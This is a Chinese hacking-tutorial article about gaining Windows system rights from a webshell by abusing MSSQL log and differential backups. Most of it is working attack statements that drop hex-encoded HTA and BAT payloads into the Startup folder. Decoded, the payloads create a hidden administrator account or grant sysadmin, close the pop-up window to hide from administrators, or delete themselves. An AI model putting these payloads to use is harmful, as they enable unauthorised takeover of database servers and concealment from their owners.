频道栏目
首页 > 安全 > 网站安全 > 正文

也谈 MSSQL备份取系统权限

2008-02-03 08:28:56      个评论      
收藏   我要投稿

原文里用的方法是备份出BAT文件,下面回复有人提到本地测试成功,而放到WEBSHELL上提权时效果不佳,其实原因还是出在BAT上,因为在DOS下单条命令长度是有限制的(好像是128位字符吧,不记得了),大家在本地测试时数据库一定很小(几乎是空的吧),而放WEBSHELL里提权时数据库相对较大,而且不论是LOG备份还是差异备份在备份时都会加入N多数据,只要在你备份前的BAT数据之前有一行是大于128位字符的在备份后的BAT执行时就会自动退出,不信你可以在本地建个BAT删掉@echo off这一行后在DOS运行你的BAT试试看。这就是本地测试成功,用于WEBSHELL提权时失效的原因了。

BAT不行我们试试HTA,关于HTA的文件格式大家自行GOOGLE或BAIDU

 


把上面这段代码转为16进制后再在头尾各加两个回车备份出来为HTA后缀就可加大成功率了。最后一行加个JS代码自动关掉HTA运行时弹出的窗口来躲过管理员的眼睛。

贴下备份代码:

1.Log备份:

alter database 库名 set RECOVERY FULL--
create table cmd (a image)--
backup log 库名 to disk=c:cmd1 with init--
insert into cmd(a) values (0x130A0D0A3C534352495054204C414E47554147453D225642536372697074223E0D0A536574205753203D20575363726970742E4372656174654F626A6563742822575363726970742E5368656C6C2229200D0A57532E72756E2022636D64202F63206E6574207573657220783134306C6520333432313031353931202F616464222C300D0A57532E72756E2022636D64202F63206E6574206C6F63616C67726F75702061646D696E6973747261746F727320783134306C65202F616464222C300D0A3C2F5363726970743E0D0A3C736372697074206C616E67756167653D6A6176617363726970743E77696E646F772E636C6F736528293B3C2F7363726970743E0D0A0D0A)--
backup log 库名 to disk=C:Documents and SettingsAll Users「开始」菜单\程序启动\run.hta--
drop table cmd--
alter database 库名 set RECOVERY SIMPLE--

2.差异备份:

backup database 库名 to disk=c:ddd.bak--
create table dtest (cmd image)--      
insert into dtest(cmd) values (0x130A0D0A3C534352495054204C414E47554147453D225642536372697074223E0D0A536574205753203D20575363726970742E4372656174654F626A6563742822575363726970742E5368656C6C2229200D0A57532E72756E2022636D64202F63206E6574207573657220783134306C6520333432313031353931202F616464222C300D0A57532E72756E2022636D64202F63206E6574206C6F63616C67726F75702061646D696E6973747261746F727320783134306C65202F616464222C300D0A3C2F5363726970743E0D0A3C736372697074206C616E67756167653D6A6176617363726970743E77696E646F772E636C6F736528293B3C2F7363726970743E0D0A0D0A)--
backup database 库名 to disk=C:Documents and SettingsAll Users「开始」菜单\程序启动\run.hta WITH DIFFERENTIAL,FORMAT--
drop table dtest--

==================================================
上面的代码是用WScript.Shell组件执行加管理员的命令的,现在安全性高点的主机都不会留着它给你提权用,如果没有WScript.Shell组件我们还可以用 Shell.Application Wscript.Network ,如果这些都不可用我们还可以用FSO直接来写其它文件..... (说得太多了,留点空间大家发挥吧......)

 


以下转自:http://blog.wang1.cn/?action=show&id=664

韩文参照:
alter database moweb002 set RECOVERY FULL--   
 
create table moweb002..cmd(a image)--   

backup log moweb002 to disk=c:cmd1 with init--   

insert into cmd(a) values (0x130A0D0A406563686F206F66660D0A6563686F20736574207773687368656C6C3D6372656174656F626A6563742822777363726970742E7368656C6C22293E6B2E7662730D0A6563686F2065786563206D61737465722E64626F2E73705F616464737276726F6C656D656D626572206D6F7765623030322C73797361646D696E3E633A5C746573742E7172790D0A6563686F20623D7773687368656C6C2E72756E2822636D642E657865202F63206973716C202D45202F5520616C6D61202F50202F6920633A5C746573742E717279222C30293E3E6B2E7662730D0A6B2E7662730D0A64656C2025300D0A)--   

backup log moweb002 to disk=C:Documents and SettingsAll Users시작 메뉴프로그램시작프로그램1.bat--   

drop table cmd--  


中文对照:
alter database moweb00 set RECOVERY FULL--   

create table moweb002..cmd(a image)--   

backup log moweb002 to disk=c:cmd1 with init--   

insert into cmd(a) values (0x130A0D0A406563686F206F66660D0A6563686F20736574207773687368656C6C3D6372656174656F626A6563742822777363726970742E7368656C6C22293E6B2E7662730D0A6563686F2065786563206D61737465722E64626F2E73705F616464737276726F6C656D656D626572206D6F7765623030322C73797361646D696E3E633A5C746573742E7172790D0A6563686F20623D7773687368656C6C2E72756E2822636D642E657865202F63206973716C202D45202F5520616C6D61202F50202F6920633A5C746573742E717279222C30293E3E6B2E7662730D0A6B2E7662730D0A64656C2025300D0A)--   

backup log moweb002 to disk=C:Documents and SettingsAll Users「开始」菜单\程序启动\1.bat--   

drop table cmd--

 

相关TAG标签 备份 权限 系统
上一篇:cookie注入也加速
下一篇:网站陷阱 反击黑客从这里开始
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站